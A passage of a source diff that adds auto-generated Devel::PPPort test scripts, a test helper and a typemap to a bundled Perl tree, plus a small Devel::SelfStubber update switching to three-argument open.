+---------------------------- Makefile.PL --------------------------------------
+
+newSViv();
+
+===============================================================================
+
+# check if explicit variables are handled propery
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o =~ /^Uses PL_signals/m);
+ok($o =~ /^File needs PL_signals, adding static request/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+unlink qw(MyExt.xsa);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+PL_signals = 123;
+if (PL_signals == 42)
+ foo();
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#define NEED_PL_signals
+#include "ppport.h"
+PL_signals = 123;
+if (PL_signals == 42)
+ foo();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o =~ /^Uses SvUOK/m);
+ok($o =~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(2 warnings\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0 file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o !~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_PL_parser
+#include "ppport.h"
+SvUOK
+PL_copline
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+# define SOMETHING_ELSE defgv + \
+ sv_undef
+
+---------------------------- file.xsr -----------------------------------------
+
+#include "ppport.h"
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING PL_defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+# define SOMETHING_ELSE PL_defgv + \
+ PL_sv_undef
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak("bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner("foo");
+warner_nocontext("foo");
+warner("foo");
+
+---------------------------- file.xsr -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak(aTHX_ "bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner(aTHX_ "foo");
+warner_nocontext("foo");
+warner("foo");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/pv_tools.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/pv_tools.t
new file mode 100644
index 00000000000..c4e54809578
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/pv_tools.t
@@ -0,0 +1,76 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/pv_tools instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (13) {
+ load();
+ plan(tests => 13);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $uni = &Devel::PPPort::pv_escape_can_unicode();
+
+# sanity check
+ok($uni ? $] >= 5.006 : $] < 5.008);
+
+my @r;
+
+@r = &Devel::PPPort::pv_pretty();
+ok($r[0], $r[1]);
+ok($r[0], "foobarbaz");
+ok($r[2], $r[3]);
+ok($r[2], '<leftpv_p\retty\nright>');
+ok($r[4], $r[5]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+ $r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303');
+ok($r[6], $r[7]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+ $r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...');
+
+@r = &Devel::PPPort::pv_display();
+ok($r[0], $r[1]);
+ok($r[0], '"foob\0rbaz"\0');
+ok($r[2], $r[3]);
+ok($r[2] eq '"pv_di"...\0' ||
+ $r[2] eq '"pv_d"...\0'); # some perl implementations are broken... :(
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/pvs.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/pvs.t
new file mode 100644
index 00000000000..ff4d3e05860
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/pvs.t
@@ -0,0 +1,73 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/pvs instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (12) {
+ load();
+ plan(tests => 12);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $x = 'foo';
+
+ok(Devel::PPPort::newSVpvs(), "newSVpvs");
+ok(Devel::PPPort::newSVpvs_flags(), "newSVpvs_flags");
+ok(Devel::PPPort::newSVpvs_share(), 3);
+
+Devel::PPPort::sv_catpvs($x);
+ok($x, "foosv_catpvs");
+
+Devel::PPPort::sv_setpvs($x);
+ok($x, "sv_setpvs");
+
+my %h = ('hv_fetchs' => 42);
+Devel::PPPort::hv_stores(\%h, 4711);
+ok(scalar keys %h, 2);
+ok(exists $h{'hv_stores'});
+ok($h{'hv_stores'}, 4711);
+ok(Devel::PPPort::hv_fetchs(\%h), 42);
+ok(Devel::PPPort::gv_fetchpvs(), \*Devel::PPPort::VERSION);
+ok(Devel::PPPort::gv_stashpvs(), \%Devel::PPPort::);
+
+ok(Devel::PPPort::get_cvs(), 3);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/shared_pv.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/shared_pv.t
new file mode 100644
index 00000000000..eac79c6ca8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/shared_pv.t
@@ -0,0 +1,52 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/shared_pv instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (1) {
+ load();
+ plan(tests => 1);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::newSVpvn_share(), 6);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/snprintf.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/snprintf.t
new file mode 100644
index 00000000000..0b90004d9ec
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/snprintf.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/snprintf instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (2) {
+ load();
+ plan(tests => 2);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my($l, $s) = Devel::PPPort::my_snprintf();
+ok($l, 8);
+ok($s, "foobar42");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/sprintf.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/sprintf.t
new file mode 100644
index 00000000000..8b0d51fc917
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/sprintf.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/sprintf instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (2) {
+ load();
+ plan(tests => 2);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my($l, $s) = Devel::PPPort::my_sprintf();
+ok($l, 8);
+ok($s, "foobar42");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/strlfuncs.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/strlfuncs.t
new file mode 100644
index 00000000000..c8175472de1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/strlfuncs.t
@@ -0,0 +1,65 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/strlfuncs instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (13) {
+ load();
+ plan(tests => 13);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @e = (3, 'foo',
+ 6, 'foobar',
+ 9, 'foobarb',
+ 10, '1234567',
+ 4, '1234',
+ 16, '1234567',
+ );
+my @r = Devel::PPPort::my_strlfunc();
+
+ok(@e == @r);
+
+for (0 .. $#e) {
+ ok($r[$_], $e[$_]);
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/sv_xpvf.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/sv_xpvf.t
new file mode 100644
index 00000000000..15074317df0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/sv_xpvf.t
@@ -0,0 +1,78 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/sv_xpvf instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (9) {
+ load();
+ plan(tests => 9);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo-';
+$h{bar} = '';
+
+ok(&Devel::PPPort::vnewSVpvf(), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+ok(&Devel::PPPort::sv_vcatpvf('1-2-3-'), $] >= 5.004 ? '1-2-3-Perl-42' : '1-2-3-%s-%d');
+ok(&Devel::PPPort::sv_vsetpvf('1-2-3-'), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+
+&Devel::PPPort::sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42' : 'foo-');
+
+&Devel::PPPort::Perl_sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43' : 'foo-');
+
+&Devel::PPPort::sv_catpvf_mg_nocontext($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43-Perl-44' : 'foo-');
+
+&Devel::PPPort::sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'mhx-42' : '');
+
+&Devel::PPPort::Perl_sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'foo-43' : '');
+
+&Devel::PPPort::sv_setpvf_mg_nocontext($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'bar-44' : '');
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/testutil.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/t/testutil.pl
new file mode 100644
index 00000000000..4fc7d667a6b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/testutil.pl
@@ -0,0 +1,48 @@
+{
+ my $__ntest;
+ my $__total;
+
+ sub plan {
+ @_ == 2 or die "usage: plan(tests => count)";
+ my $what = shift;
+ $what eq 'tests' or die "cannot plan anything but tests";
+ $__total = shift;
+ defined $__total && $__total > 0 or die "need a positive number of tests";
+ print "1..$__total\n";
+ }
+
+ sub skip {
+ my $reason = shift;
+ ++$__ntest;
+ print "ok $__ntest # skip: $reason\n"
+ }
+
+ sub ok ($;$$) {
+ local($\,$,);
+ my $ok = 0;
+ my $result = shift;
+ if (@_ == 0) {
+ $ok = $result;
+ } else {
+ $expected = shift;
+ if (!defined $expected) {
+ $ok = !defined $result;
+ } elsif (!defined $result) {
+ $ok = 0;
+ } elsif (ref($expected) eq 'Regexp') {
+ die "using regular expression objects is not backwards compatible";
+ } else {
+ $ok = $result eq $expected;
+ }
+ }
+ ++$__ntest;
+ if ($ok) {
+ print "ok $__ntest\n"
+ }
+ else {
+ print "not ok $__ntest\n"
+ }
+ }
+}
+
+1;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/threads.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/threads.t
new file mode 100644
index 00000000000..a1c8caa5c87
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/threads.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/threads instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (2) {
+ load();
+ plan(tests => 2);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::no_THX_arg("42"), 43);
+eval { &Devel::PPPort::with_THX_arg("yes\n"); };
+ok($@ =~ /^yes/);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/uv.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/uv.t
new file mode 100644
index 00000000000..bc123c6bbf7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/uv.t
@@ -0,0 +1,61 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/uv instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (10) {
+ load();
+ plan(tests => 10);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::sv_setuv(42), 42);
+ok(&Devel::PPPort::newSVuv(123), 123);
+ok(&Devel::PPPort::sv_2uv("4711"), 4711);
+ok(&Devel::PPPort::sv_2uv("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx(1735928559), 1735928559);
+ok(&Devel::PPPort::SvUVx(0xdeadbeef), 0xdeadbeef);
+ok(&Devel::PPPort::XSRETURN_UV(), 42);
+ok(&Devel::PPPort::PUSHu(), 42);
+ok(&Devel::PPPort::XPUSHu(), 43);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/variables.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/variables.t
new file mode 100644
index 00000000000..ef1ac8b20d3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/variables.t
@@ -0,0 +1,107 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/variables instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (52) {
+ load();
+ plan(tests => 52);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::compare_PL_signals());
+
+ok(!defined(&Devel::PPPort::PL_sv_undef()));
+ok(&Devel::PPPort::PL_sv_yes());
+ok(!&Devel::PPPort::PL_sv_no());
+ok(&Devel::PPPort::PL_na("abcd"), 4);
+ok(&Devel::PPPort::PL_Sv(), "mhx");
+ok(defined &Devel::PPPort::PL_tokenbuf());
+ok($] >= 5.009005 || &Devel::PPPort::PL_parser());
+ok(&Devel::PPPort::PL_hexdigit() =~ /^[0-9a-zA-Z]+$/);
+ok(defined &Devel::PPPort::PL_hints());
+ok(&Devel::PPPort::PL_ppaddr("mhx"), "MHX");
+
+for (&Devel::PPPort::other_variables()) {
+ ok($_ != 0);
+}
+
+{
+ my @w;
+ my $fail = 0;
+ {
+ local $SIG{'__WARN__'} = sub { push @w, @_ };
+ ok(&Devel::PPPort::dummy_parser_warning());
+ }
+ if ($] >= 5.009005) {
+ ok(@w >= 0);
+ for (@w) {
+ print "# $_";
+ unless (/^warning: dummy PL_bufptr used in.*module3.*:\d+/i) {
+ warn $_;
+ $fail++;
+ }
+ }
+ }
+ else {
+ ok(@w == 0);
+ }
+ ok($fail, 0);
+}
+
+ok(&Devel::PPPort::no_dummy_parser_vars(1) >= ($] < 5.009005 ? 1 : 0));
+
+eval { &Devel::PPPort::no_dummy_parser_vars(0) };
+
+if ($] < 5.009005) {
+ ok($@, '');
+}
+else {
+ if ($@) {
+ print "# $@";
+ ok($@ =~ /^panic: PL_parser == NULL in.*module2.*:\d+/i);
+ }
+ else {
+ ok(1);
+ }
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/warn.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/warn.t
new file mode 100644
index 00000000000..d538055a65a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/warn.t
@@ -0,0 +1,78 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/warn instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (5) {
+ load();
+ plan(tests => 5);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+$^W = 0;
+
+my $warning;
+
+$SIG{'__WARN__'} = sub { $warning = $_[0] };
+
+$warning = '';
+Devel::PPPort::warner();
+ok($] >= 5.004 ? $warning =~ /^warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner_nocontext();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner_nocontext bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($warning, '');
+
+$^W = 1;
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($] >= 5.004 ? $warning =~ /^ckWARN bar:42/ : $warning eq '');
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/typemap b/gnu/usr.bin/perl/dist/Devel-PPPort/typemap
new file mode 100644
index 00000000000..68863a32912
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/typemap
@@ -0,0 +1,36 @@
+################################################################################
+#
+# typemap -- XS type mappings not present in early perls
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+UV T_UV
+NV T_NV
+HV * T_HVREF
+STRLEN T_UV
+
+INPUT
+T_UV
+ $var = ($type)SvUV($arg)
+T_NV
+ $var = ($type)SvNV($arg)
+T_HVREF
+ if (SvROK($arg) && SvTYPE(SvRV($arg))==SVt_PVHV)
+ $var = (HV*)SvRV($arg);
+ else
+ Perl_croak(aTHX_ \"$var is not a hash reference\")
+
+OUTPUT
+T_UV
+ sv_setuv($arg, (UV)$var);
+T_NV
+ sv_setnv($arg, (NV)$var);
diff --git a/gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm b/gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm
index e47cd3a3326..781dd9f3e97 100644
--- a/gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm
+++ b/gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm
@@ -4,7 +4,7 @@ require SelfLoader;
@ISA = qw(SelfLoader);
@EXPORT = 'AUTOLOAD';
$JUST_STUBS = 1;
-$VERSION = 1.05;
+$VERSION = 1.06;
sub Version {$VERSION}
# Use as
@@ -39,7 +39,7 @@ sub stub {
my (@BEFORE_DATA, @AFTER_DATA, @AFTER_END);
@DATA = @STUBS = ();
- open($fh,$mod_file) || die "Unable to open $mod_file";
+ open($fh,'<',$mod_file) || die "Unable to open $mod_file";
local $/ = "\n";
while(defined ($line = <$fh>) and $line !~ m/^__DATA__/) {
push(@BEFORE_DATA,$line);
diff --git a/gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t b/gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t
index 4d690904747..48e27cd073e 100644
--- a/gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t
+++ b/gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t
@@ -30,7 +30,7 @@ while (<DATA>) {
my $f = $1;
